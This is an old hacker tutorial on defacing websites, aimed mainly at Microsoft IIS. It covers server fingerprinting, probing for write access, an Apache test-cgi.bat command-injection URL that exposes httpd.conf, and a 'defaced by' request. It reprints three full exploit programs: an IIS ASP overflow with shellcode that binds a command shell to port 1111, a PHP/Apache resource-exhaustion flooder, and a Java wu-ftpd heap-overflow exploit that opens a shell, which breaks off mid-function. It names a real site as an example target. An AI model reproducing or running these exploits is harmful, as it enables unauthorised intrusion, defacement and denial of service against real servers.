DEFACING WEBSITES – Intricacies Explained

By Abhisek Datta

abhisek@gamebox.net
http://www.hackersclub.up.to
http://www.abhisekdatta.up.to

Defacing websites is one of the most happening topic in today's IT world. Crackers, Script Kiddies and some times hackers pave their path towards fame by defacing websites. In most cases websites are defaced either to spread a message among public or for fun or some other reasons.. not to mention here !!
in this article I'll explain most of the intricacies of website defacements. Generally websites are defaced by exploiting known vulnerabilities in web servers and gaining root shell or injecting malicious coded into the target page residing on the server. In this manual I'll mainly describe the methods of exploiting vulnerable Microsoft IIS web server. Though Apache is another popular web server which is much more secure but I think I don't know much about defacing a website hosted in Apache. But I'll try to write a theoretical explanation of Apache servers.
This article is mainly divided into the following parts :

- Web server software detection.
- Analyzing web server configurations.
- Checking for known vulnerabilities.
- Coding exploits.
- Exploiting known vulnerabilities for Breaking into the server.
- Injecting malicious code through URL.
- Keeping yourself safe.
- Last Notes.

Web Server Detection

Defacing websites is not at all hacking. It doesn't need a hacker's brain, or a hacker's genius. All it needs is looking for exploits, good deal of programming skill and plenty of time for trial and error. Basically in every software there exists some vulnerabilities (mistakes in programming) exploiting which one can get root (administrator privileged) access to the system running that particular vulnerable software. Using this concept websites are defaced. You can find a lots of recently discovered vulnerabilities in websites like http://www.securityfocus.com , http://www.packetstormsecurity.com , http://www.securiteam.com etc. some of these sites even offer exploit codes.
But before you look for exploits or vulnerabilities in those sites you need to know which server software is running by your target website. After knowing

the server software, then only you have to look for vulnerabilities and exploits corresponding to that particular software.
Web server detection is quite an easy but obvious method. Basically what happens when a request is send to a web server which compelled it to generate a 400 bad request error message, or a 200 OK message or a 404 forbidden error message in raw mode (that is through telnet) then the server software responds with the corresponding message which contains its web server software along with version info. So what we need to do is just telnet into the port 80 (default port for web servers) of a web server and send some request so that the server responds with a 400 bad request error message or a 200 OK message which will contain the server software and version info.

```
Microsoft Telnet>telnet 127.0.0.1 80
GET \ HTTP/1.1\r\n\r\n
Host:server-software
<enter>
<enter>
<enter>

HTTP/1.1 403 Forbidden
Date: Sat, 10 Aug 2002 16:55:41 GMT
Server: Apache/1.3.22 (Win32)
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
                                        <HTML><HEAD>
                                                <TITLE>403 Forbidd
en</TITLE>
        </HEAD><BODY>
                <H1>Forbidden</H1>
                                You don't have permission to access /
                                                                on
 this server.<P>
            <HR>
               <ADDRESS>Apache/1.3.22 Server at www.apache.org Port
80</ADD
RESS>
    </BODY></HTML>


Connection to host lost.
```

Oki I hope you got it. its quite simple. In brief what you need to do is just telnet in to port 80 of your target website (you can even telnet to the domain name ie. telnet hackersclub.up.to 80) type in some requests like GET \ HTTP/1.1\r\n\r\n then type something like Host:server-software then press

<enter> quite a few times until you get the server's response. The server will respond with its software info.

ANALYZING WEB SERVERS

Basically a default IIS (Internet Information Service) installation contains the website root at c:\Inetpub\wwwroot. Basically all the directories inside the directory c:\Inetpub (in case of IIS and c:\apache group\apache\htdocs for win32 version of Apache). All the folder inside it are regarded as Virtual Directories. In a web server each virtual directory are provided with different type of permissions. Permissions like Read, Write, Execution of Scripts, Execution of Executable like dll and server side pages like ASP, cgi etc., Directory Browsing.
In here I am going to describe the methods of analyzing the directory permission of a virtual directory residing in a web server.

Read Access : Whenever you visit a website by writing the websites domain name into your web browser then what actually happens is that you are connected to port 80 (default HTTP port) of the IP address associated with the domain name. Say the IP address of yahoo.com is 203.197.102.78. so when you write http://www.yahoo.com in your web browser address bar then what happens is that this URL (Uniform Resource Locator) is resolved to http://203.197.102.78:80/index.html (or index.htm, index.asp ,default.asp, index.jsp, default.jsp, index.php, default.php or whatever configured as the index page in the webserver). Now on type the URL you will be taken to the yahoo's website where you will be able to read contents from its wwwroot. If it contains executables like ASP or JSP or PHP , then those server side pages are executed and HTML is generated and passed to the browser (client) by IIS (server) or any web server dynamically. Now when you can read a document from a given directory then it indicates that the directory is readable. Basically directories containing data bases files are prohibited with read access for security reasons.

Note : if you are a real newbie who don't know about IP addressing then read my article on tracing IP to form a brief idea on IP addressing.

Write Access: As I have always suggested the members of my website to go through the RFC (request for comments) on important protocols like HTTP (Hyper Text Transfer Protocol), TELNET, FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol) etc, those who have read the RFC on HTTP would definitely know what is the meaning of write access in a web server. For those who haven't come across the HTTP RFC, I should give a brief description about the HTTP protocol. HTTP is a part of the TCP/IP stack (correct me if I am wrong). It was designed and developed with the intension of sharing files across the internet as it obvious from the name as HTTP stands for Hyper Text Transfer Protocol. Initially files can be uploaded and downloaded from the server according to the HTTP protocol without the need of any type of authentication. Soon it was realized that this kind of

architecture is a real security threat cause anybody with half brains can have write access to a particular server. Now what was done is that web servers are designed and configured as such to give write access to only selected virtual directories.
Try telnet in to a website and play around with it to get some practical information about the servers and their behaviors. Here's a list of commonly used commands supported by a web serve according to RFC of HTTP.

GET : used to send request for read access to a file residing on the server by the browser (client)
Example :
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
GET /index.html HTTP/1.1\r\n\r\n

Output:
The HTML source of the index.html page residing on the server will be returned or if requested for an ASP or JSP or any server side executable page.. then the dynamically generated HTML will be displayed.

PUT : used to create a file on the server.. requires write access on the specified virtual directory where the file is to be created..
Example:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
PUT /analyzing.txt HTTP/1.1\r\n\r\n

Output :
Most probably or better to say definitely you will get a 403 Forbidden Error.. as it is obvious that the wwwroot will never have write access..

DEL : for deleting a page on the webserver.. requires write access on the specified virtual directory where the file is to be deleted..
Example:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
del /index.html HTTP/1.1\r\n\r\n

Output :
Most probably or better to say definitely you will get a 403 Forbidden Error.. as it is obvious that the wwwroot will never have write access..

ECHO : the printing tool.. same as used in DOS Batch Files.. The output can be redirected..
Example:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
ECHO defaced by Abhisek Datta >> /index.html HTTP/1.1\r\n\r\n

PROPFIND : used as a request for directory browsing..(for IIS.. actually its an administrative tool used for web server analysis)
Example:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
PROPFIND / HTTP/1.1
Host:iis-server
Content-Length:0

Output :
Most probably or better to say definitely you will get a 403 Forbidden Error.. as it is obvious that the wwwroot will never have write access..

To test the write access permission for a directory in Microsoft IIS in a little advanced way. Follow the method follows :

To test if write permission is enabled for anonymous web clients telnet into the web server port usually TCP port 80 and make the following request:
PUT /scripts/abhisek.asp HTTP/1.1
Host: iis-server
Content-Length: 10 <enter><enter>

At this stage the server should respond with a 100 Continue message.
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT

On receiving this type 10 letters
AAAAAAAAAA

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

If the server responds with this 201 Created response then the write permission is enabled.

Execution Access : Server side pages (ASP, JSP, PHP) ,dll (dynamic link libraries) etc often used in today's highly advanced database driven dynamic websites which dynamically generates the HTML and send it to the client (browser). These server side pages and other executables including dll and exe files needs execution privileges in the virtual directory where they are

kept. Generally all the dll , asp, exe files which needs execution privileges are kept in a single virtual directory.

Directory Browsing : Often web servers (or to be more specific.. virtual directories of a web server) are configured as such to provide directory browsing access to all clients or special clients through proper authentications. Basically directory browsing means you can list the files and folders present in your specified virtual directory just as you see in your computer. For security reasons most of the production level websites turn of this feature. But exploits can be used to get a directory listing of a virtual directory.

Exploit for Directory Listing in Apache (win32) :
One of the most preferred web server Apache (win32) 2.1.x (I am not sure about the version) by default contains a .bat file named test-cgi.bat in its cgi-bin directory. It was actually provided so that system administrators can test the privileges of cgi-bin directory which contains all the cgi and perl script. Obviously this cgi-bin virtual directory has execution permission. This conditions are exploited to perform out attack. Basically when a .bat file in win32 version of Apache web server is called for execution a DOS (Disk Operating System) shell is spawned to it for execution. Now we can use | (pipe) character along with the batch file call name to execute commands on the remote server. The attack URL will be something like this :
http://www.target.com/cgi-bin/test-cgi.bat?|copy+..\conf\httpd.conf+..\htdocs\httpd.conf
So by this attack URL what I have done is copied the httpd.conf file from the conf directory which hardly has read access to the Apache web root… ie. htdocs virtual folder. Now we can easily download the httpd.conf file using the URL http://target.com/httpd.conf since now it resides in the apache web root.

Note: For those who are not acquainted with Apache and don't know what httpd.conf file is… Well in Apache you have to configure you entire web server using commands and scripts which are kept in httpd.conf file in c:\ apache group\apache\conf folder of default apache installation on a typical windows system. This file contains all the settings of the target web server and by some how if we can manage to get our hands on this file then we can have clear idea about all the settings of the web server including the location of log files, directory permissions, write access, authentication levels etc etc.

CHECKING FOR KNOWN VULNERABILITY

Mostly websites are defaced and hacked using vulnerabilities associated with the server software or the Operating System running the server software. Most of the so called hackers deface websites using the vulnerabilities found by peoples who deserve being called "Hackers". I guess you must be knowing what a vulnerability is. Its actually an existing flaw in the software architecture which will allow a hacker or a malicious cracker to take control

over the system or issue arbitrary system commands to the server. There are a hell of of vulnerabilities exists in almost all softwares. Basically in old days I have heard that hackers used to find out flaw and vulnerabilities in softwares by their own. But today I guess there are very few peoples who does so. There are so many good sites like :

http://www.securityfocus.com
http://www.packetstorm.org
http://www.guininski.com
http://www.insecure.org
http://www.securiteam.com
http://www.slashdot.org
http://www.technotronic.com

these sites contains more than enough latest vulnerabilities which will help you getting started. Even if you are experienced I am sure you'll get a lot of help from these sites.

CODING EXPLOITS :

Say you are targeting to hack the website http://www.anisurrahman.net (goss!! Anisur will kick my ass if he read this article). Using the methods described above you can easily find that the website is running on Microsoft IIS 5.00 server software. Now the time is to look for exploits (I am considering you not to be a hacker who can find his own vulnerabilities.. if you do so.. you don't need to read this article.). even if you find some overflow or malloc vulnerability in the web server software from the above mentioned sites you need to write programs (generally in C or Perl) to implement the exploit for the said vulnerability. For this definitely you need to have a very good knowledge about programming with Socket Coding background. If if you cant code you own exploits you can download exploits coded in languages like C , Perl , JAVA (rarely). But hey if you download a great exploit which claims to get you root shell on the target web server written in C, then while compiling it I am sure you'll find a lot of errors cause C syntaxes and functions differs somewhat from compiler to compiler. Now you will realize the need for quite a lot programming background with pretty good knowledge of programming.

Here's a list of some known vulnerabilities and exploits coded for it :

1. This .ASP overflow exploit will open port 1111 and bind the cmd.exe to it. It should be noted is that every time you run this exploit and a message will show that this exploit works perfectly. However, that does not mean you can get the access to the target host, the reason is that on some occasions there will be a message-box appear on victim's terminal screen showing that an AV (Access Violation) has occurred.

/* Windows 2000 Server Exploit By CHINANSL Security Team.

```
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
Warning:THIS PROGRAM WILL ONLY TEST.
CHINANSL Technology CO.,LTD http://www.chinansl.com
keji@chinansl.com
use MS VC++ to compile this piece of code
*/

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")

int main(int argc, char* argv[])
{
if(argc != 4)
{
printf("%s ip port aspfilepath\n\n",argv[0]);
printf(" ie. %s 127.0.0.1 80 /iisstart.asp\n",argv[0]);
puts(" programed by keji@chinansl.com");

return 0;
}

DWORD srcdata=0x01e2fb1c-4;//0x00457474;
//address of SHELLCODE
DWORD jmpaddr=0x00457494; //0x77ebf094;/ /0x01e6fcec; //"\x1c\xfb\
xe6\x01"; //"\x0c\xfb\xe6\x01";

char* destIP=argv[1];
char* destFile=argv[3];
int webport=atoi(argv[2]);
char* pad="\xcc\xcc\xcc\xcc" "ADPA" "\x02\x02\x02\x02" "PADP"; //16
bytes

WSADATA ws;
SOCKET s;
long result=0;
if(WSAStartup(0x0101,&ws) != 0)
{
puts("WSAStartup() error");
return -1;
}

struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(webport);
```

```
addr.sin_addr.s_addr=inet_addr(destIP);
s=socket(AF_INET,SOCK_STREAM,0);
if(s==-1)
{
puts("Socket create error");
return -1;
}

if(connect(s,(struct sockaddr *)&addr,sizeof(addr)) == -1)
{
puts("Cannot connect to the specified host");
return -1;
}

char buff[4096];
char* shellcode="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\xfc\
x33\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32\x2e\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\xab\x32\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x53\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\xff\x53\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\xfc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\xbe\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x56\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\xfc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x75\xf8\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\xff\xd3\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13\xff\x75\xf8"
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\xc0\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\xc8\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x89\x45\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x9c\x50\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x40\x89\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x8d\x85\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51\x53\xff"
```

```
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\xff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\xff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\xff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\xff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0\x74\x6d"
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x90\x90\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\xc0\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff"
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4\xff\x75\xc4"
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\xff\xff\xff\x6a"
"\xff\xff\x95\x18\xff\xff\xff";


char* s1="POST ";// HTTP/1.1\r\n";
char* s2="Accept: */*\r\n";
char* s4="Content-Type: application/x-www-
form-urlencoded\r\n";
char* s5="Transfer-Encoding:
chunked\r\n\r\n";
char* sc="0\r\n\r\n\r\n";

char shellcodebuff[1024*8];
memset(shellcodebuff,0x90,sizeof
(shellcodebuff));
memcpy(&shellcodebuff[sizeof(shellcodebuff)-
strlen(shellcode)-1],shellcode,strlen(shellcode));
shellcodebuff[sizeof(shellcodebuff)-1] = 0;


char sendbuff[1024*16];
memset(sendbuff,0,1024*16);

sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost: %s\r\n%s%s10\r\n%s\r\
n4\r\nAAAA\r\n4\r\nBBBB\r\n%s", s1, destFile, shellcodebuff, s2, destIP,
s4,s 5, pad/*,srcdata,jmpaddr*/, sc);


int sendlen=strlen(sendbuff);
   *(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
*(DWORD *)strstr(sendbuff,"AAAA") = srcdata;

result=send(s,sendbuff,sendlen,0);
if(result == -1 )
{
puts("Send shellcode error!");
```

```
return -1;
}

memset(buff,0,4096);
result=recv(s,buff,sizeof(buff),0);

if(strstr(buff,"<html>") != NULL)
{
shutdown(s,0);
closesocket(s);

puts("Send shellcode error!Try again!");
return -1;
}


shutdown(s,0);
closesocket(s);
printf("\nUse <telnet %s 1111> to connect to the host\n",destIP);
puts("If you cannot connect to the host,try run this program again!");

  return 0;
}
```

2.

```
/* PHP-APACHE.C
 * By Matthew Murphy
 * Exhaust CGI Resources via PHP on Apache
 *
 * Calling PHP with no parameters causes it to
 * never terminate; the process must be killed
 * by the server, the OS, or the admin.
 *
 * PHP on Apache requires you to configure a
 * virtual to load PHP out of. PHP implements
 * a "cgi.force_redirect" value to require that
 * a certain environment variable be set to
 * allow PHP to run further.
 *
 * However, an empty command-line *still* will
 * cause PHP to hang. If a remote user does
 * this for a lengthy amount of time, the server
 * may no longer launch PHP or other server-side
 * components.
 *
```

```
 * NOTE: The vulnerable config is on Apache,
 * but other servers can still be exploited
 * if they offer PHP.EXE (or an SAPI) directly.
 *
 * Usage: php-apache <host> [phpbin] [port] [maxsocks]
*/

#include <stdio.h>
#include <string.h>

#ifdef _WIN32
#define _WINSOCKAPI_ /* Fix for Winsock.h redef errors */
#include <winsock2.h> /* WinSock API calls... */
#define WSA_VER 0x0101 /* WinSock ver. to use */
#pragma comment(lib, "wsock32.lib") /* Check your compiler's docs... */
#else
#include <signal.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#endif

#define DEF_PHP "/php/php" /* This is used as the PHP
         * path if one isn't set
        */

static char php_buf[] = "GET %s HTTP/1.0\x0d\x0a\x0d\x0a";

void main(int argc, char *argv[]) {
  char host[257];
  char binpath[257];
  int maxsocks;
  char request[300];
  unsigned short port;
  struct hostent *he;
  struct sockaddr_in sa_in;
#ifdef _WIN32
  WSADATA wsa_prov;
  SOCKET s;
#else
  int s;
#endif
  printf("PHP-APACHE.C by Matthew Murphy\x0d\x0a");
  printf("Exhausting CGI resources w/ PHP on Apache\x0d\x0a\x0d\x0a");
  maxsocks = 0;
```

```
  strcpy(&binpath[0], DEF_PHP);
#ifdef _WIN32
  if (!WSAStartup(WSA_VER, &wsa_prov) == 0) {
    printf("ERROR: Windows Sockets init failed!");
    exit(1);
  }
#endif
  port = (unsigned short)htons(80);
  switch (argc) {
  case 5:
    maxsocks = atoi(argv[4]);
  case 4:
    port = htons((unsigned short)atoi(argv[2]));
  case 3:
    if (strlen(argv[2]) > 256) {
      printf("ERROR: 256 char path limit exceeded in 'phpbin' argument.");
      exit(1);
    }
    strcpy(&binpath[0], argv[2]);
  case 2:
    if (strlen(argv[1]) > 256) {
      printf("ERROR: No host should be over 256 chars!");
      exit(1);
    }
    strcpy(&host[0], argv[1]);
    break;
  default:
    printf("Usage: php-apache <host> [port] [maxsocks] [phpbin]\x0d\x0a\
x0d\x0ahost - The IP/DNS name to attack\x0d\x0aport - The port the HTTP
service normally runs on (default: 80)\x0d\x0amaxsocks - The maximum
number of connections to establish (creates a finite flood). A zero value
means continue until termination (default: 0)\x0d\x0aphpbin - The virtual
path to the PHP binary (e.g, /php/php[.exe]; default: /php/php)");
    exit(0);
  }
  if (maxsocks == 0) {
    maxsocks--;
  }
  sa_in.sin_family = AF_INET;
  sa_in.sin_port = (unsigned short)port;
  he = gethostbyname(&host[0]);
  if (he == NULL) {
    printf("ERROR: DNS resolution failed, or unknown host.");
    exit(1);
  }
#ifdef _WIN32
  sa_in.sin_addr.S_un.S_addr = (unsigned long)*(unsigned long *)he-
>h_addr;
```

```
#else
  sa_in.sin_addr.S_addr = (unsigned long)*(unsigned long *)he->h_addr;
#endif
  sprintf(&request[0], &php_buf[0], &binpath[0]);
  while (!maxsocks == 0) {
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s < 0) {
      printf("Couldn't create socket...\x0d\x0aIf you continue to receive this
error, terminate the program.");
    } else {
      if (!connect(s, (const struct sockaddr FAR *)&sa_in, sizeof(struct
sockaddr_in)) == 0) {
        printf("Couldn't connect...\x0d\x0aIf you continue to receive this error,
terminate the program.");
      } else {
        send(s, (char FAR *)&request[0], strlen(&request[0]), 0);

/* If the exploit isn't using up server resources
 * try removing this -- the server may be killing
 * the CGI after a disconnect.
*/

#ifdef _WIN32
        shutdown(s, SD_BOTH);
        closesocket(s);
#else
        close(s);
#endif
      }
    }
    if (!maxsocks == -1) {
      maxsocks--;
    }
  }
  return;
}
```

3.
```
/*
 * wu-ftpd 2.6.[0/1] remote heap overflow exploit
 * wu-ftpd 2.5.* does also overflow and disconnect when you "cwd ~{"
 * but it does not seem to be exploitable for some reason...
 *
 * Original Code by zen-parse
 * This code was finished by CraigTM at 23-01-2002
 *
```

```
 * thanks to Krissa from #java@efnet for this:
 * <Krissa> From the Integer API docs: Integer.parseInt("-FF", 16) returns -
255
 *
 * thanks to dvorak for inspiring me; it works() now ;)
 *
 * This works (nearly) like zen-parses code, but gives you a shell...
 *
 * I wanted to challenge myself and prove that remote exploits can be
 * done with java...(hello pr0ix!)...I also had way too much time ;)
 *
 * java woot [IP] {heap}
 *
 * CraigTM [ElectronicSouls]
 *
 * P.S.: I know that the Reader/Write class sucks, but it was done within
minutes ;)
 * P.P.S.:Have fun with the new targets ;)
 *
 */

import java.io.*;
import java.net.*;
import java.util.*;

class woot
{

 //type, got, inpbuf, string to check for (autodetect)
 static String targets[] =
 {
  "RH7.0 - 2.6.1(1) Wed Aug 9 05:54:50 EDT 2000", // by zen-parse
   "08070cb0","08084600","2.6.1(1) WED AUG 9 05:54:50 EDT 2000",

  "RH7.2 - wu-2.6.1-18 by kanix - verified by CraigTM", // doesnt seem to be
   "08072af8","08085900","WU-2.6.1-18", // exploitable...

  //"wu-2.6.1(2) by zen-parse", // zen-parse's common compile
  //"0806ca48","0807e380","WU-2.6.1(2)", // seems useless in the wild

  "wu-2.6.0(x) from www.wu-ftpd.org by CraigTM", //done by me
   "0806bae4","0807d600","WU-2.6.0(",

  "wu-2.6.1(x) from www.wu-ftpd.org by CraigTM", //done by me
   "0806c028","0807db40","WU-2.6.1(",

  null
 };
```

```
 //socket stuff
 static DataInputStream sin;
 static PrintStream sout;
 static Socket s = null;

 //shellcode
 static char
sc[]={0x55,0x89,0xe5,0x31,0xc0,0x31,0xdb,0x31,0xc9,0xb0,0x17,0xcd,0x8
0,0xb0,0x2e,0xcd,0x80,0xeb,0x43,0x5e,0xb0,0x27,0x8d,0x5e,0x09,0xb1,0x
ed,0xcd,0x80,0x31,0xc9,0x31,0xc0,0xb0,0x3d,0xcd,0x80,0xba,0x2e,0x2e,0
x2f,0xff,0x8d,0x5d,0x04,0xb1,0x10,0x89,0x55,0x04,0x83,0xc5,0x03,0xe0,0
xf8,0x89,0x4d,0x04,0xb0,0x3d,0xcd,0x80,0x89,0xf3,0x89,0x75,0x08,0x89,
0x4d,0x0c,0xb0,0x0b,0x8d,0x4d,0x08,0x8d,0x55,0x0c,0xcd,0x80,0x31,0xc0
,0xb0,0x01,0xcd,0x80,0xe8,0xb8,0xff,0xff,0xff};
 static int sclength=91;

 //guess what?
 static String victim="";

 //your shell
 static Thread reader, writer;

 //vars
 static int m=0;

 static long tmp_got;
 static long tmp_heap;
 static long tmp_inpbuf;


 void connect(String Server)
  {
   try
    {

     s = new Socket(Server, 21);
     sin = new DataInputStream (s.getInputStream());
     sout = new PrintStream (s.getOutputStream());

    }//try
   catch (IOException e){System.out.println("Error
Connecting:"+e);System.exit(-1);}
  }//connect()
```

```
boolean allowsAnonymous()
 {
  String line=null;

  try
   {
    connect(victim);
    System.out.print(".");

    boolean Ano=false;
    if(s!=null)sout.println("USER planetsubhro");

    System.out.print(".");

    while(true)
     {
      if(s==null)break;
      line=sin.readLine();
      if(line==null)break;

      if(line.indexOf("220")<=-1)
       break;

      line=line.toUpperCase();

      for(int i=0;targets[i]!=null;i++)
       {
        if(line.indexOf(targets[i])>-1)
         {
          m=(i/4)+1;
          break;
         }
       }

       System.out.print(".");

       if(s!=null)
        {
         sout.println("PASS sms1324");
         sout.println("QUIT");
        }

      while(Ano==false)
       {
        line=sin.readLine();
        if(s==null || line==null)break;

        if(line.indexOf("331")>-1)
```

```
          {
           line=sin.readLine();
           if(line==null || s==null)break;
          }

          if(line.indexOf("230")>-1)
           return true;

          if(line.indexOf("530")>-1 || line.indexOf("531")>-1)
           return false;

         }//while (Ano==false)
        }//while(true)

       //close socket again
       if(s!=null)
        {
         try
          {
           s.close();s=null;sin=null;sout=null;
          }
         catch(IOException e){}
        }

      }//try
      catch (IOException e){}

    return false;

   }//Anonymous check + get server




void shell()
 {
  reader.setPriority(6);
  writer.setPriority(5);

  reader.start();
  writer.start();

  Thread t = Thread.currentThread();
  try {t.sleep(1000);} catch (InterruptedException e) {}

  woot.sout.println("uname -a;id;");
 }
```

```
 void dosend(String s)
  {
   for(int i=0;i<s.length();i++)
    {
     if(s.charAt(i)==0xff)
      sout.print(s.charAt(i));
     sout.print(s.charAt(i));
    }
  }



  void getTarget()
   {
    try
     {

      System.out.print("@@ Server>");
      DataInputStream in = new DataInputStream (System.in);
      victim=in.readLine();

     }
    catch (IOException e){}
   }//getTarget()




boolean works(long n)
 {
  String v0=Long.toHexString(n);

  String elements[]=new String[5];
  elements[0]=v0.substring(0,2);
  elements[1]=v0.substring(2,4);
  elements[2]=v0.substring(4,6);
  elements[3]=v0.substring(6,8);

  for(int i=0;elements[i]!=null;i++)
   {
    if(elements[i].equals("00"))return false; //0x00 -> null byte
    if(elements[i].equals("0a"))return false; //0x0a -> \n
    if(elements[i].equals("40"))return false; //0x40 -> @
   }
```

```
 return true;
}




boolean force()
 {
  char ok;

  long l;
  long got,inp;

  long en=0+(256*1024);
  long st=2048;

  System.out.println("++ Option #"+m+" chosen.");
  m=(m-1)*4;

  System.out.println("++ Exploiting "+targets[m]+"\n");

  long tmp = Long.parseLong(targets[m+2],16);

  st= st + tmp + Long.parseLong("6400", 16);
  en= en + tmp + Long.parseLong("6400", 16);

  got=Long.parseLong(targets[m+1],16);
  inp=Long.parseLong(targets[m+2],16);

  tmp_got=got-12;
  tmp_inpbuf=inp+20;

  System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\
t"+Long.toHexString(tmp_inpbuf-20));
  System.out.println("brute forcing heap (from "+Long.toHexString(st)+" to
"+Long.toHexString(en)+"):");

  for(l=st;l<en;l+=360)
   {
    for(m=0;(m!=16&&m<32);m+=4)
    {

     if(works(m+l+st))
      {

       System.out.print(".");
       tmp_heap=l+m;
```

```
      if(exploit("scan"))
       {
        System.out.println("\nheap:\t"+Long.toHexString(tmp_heap)+"\n");
        System.out.println("\nTrying to get shell...");
        return true;
       }

     }
    else // if(!works(m+l+st))
     System.out.print("*");

  }//for
 }//for

 return false;
}//force()



boolean exploit(String mode)
 {

  StringBuffer buf=new StringBuffer();
  StringBuffer buf2=new StringBuffer("");

  String got[] = new String[5];
  String heap[] = new String[5];
  String inpbuf[]=new String[5];


  String hexgot = Long.toHexString(tmp_got);
  String hexheap = Long.toHexString(tmp_heap);
  String hexinpbuf = Long.toHexString(tmp_inpbuf);


